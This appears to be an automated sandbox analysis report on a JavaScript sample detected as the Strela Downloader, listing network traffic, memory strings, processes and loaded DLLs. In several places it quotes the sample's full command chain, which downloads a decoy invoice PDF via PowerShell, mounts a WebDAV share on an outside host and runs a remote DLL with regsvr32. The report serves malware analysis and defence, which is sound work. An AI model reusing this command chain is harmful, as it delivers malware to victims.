HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1404466984.000001F7B9979000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1457466280.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1458190726.000001B6F8B3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457868047.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1456928982.000001B6F8B3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1457466280.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457868047.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888//
Source: net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/p
Source: net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.2705944114.0000018832600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1459274711.0000018832800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1384, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 77502473271720630.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1184:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwp5ydcl.ysi.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\77502473271720630.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1592,i,1824818808005025574,11050105164769887958,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1592,i,1824818808005025574,11050105164769887958,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
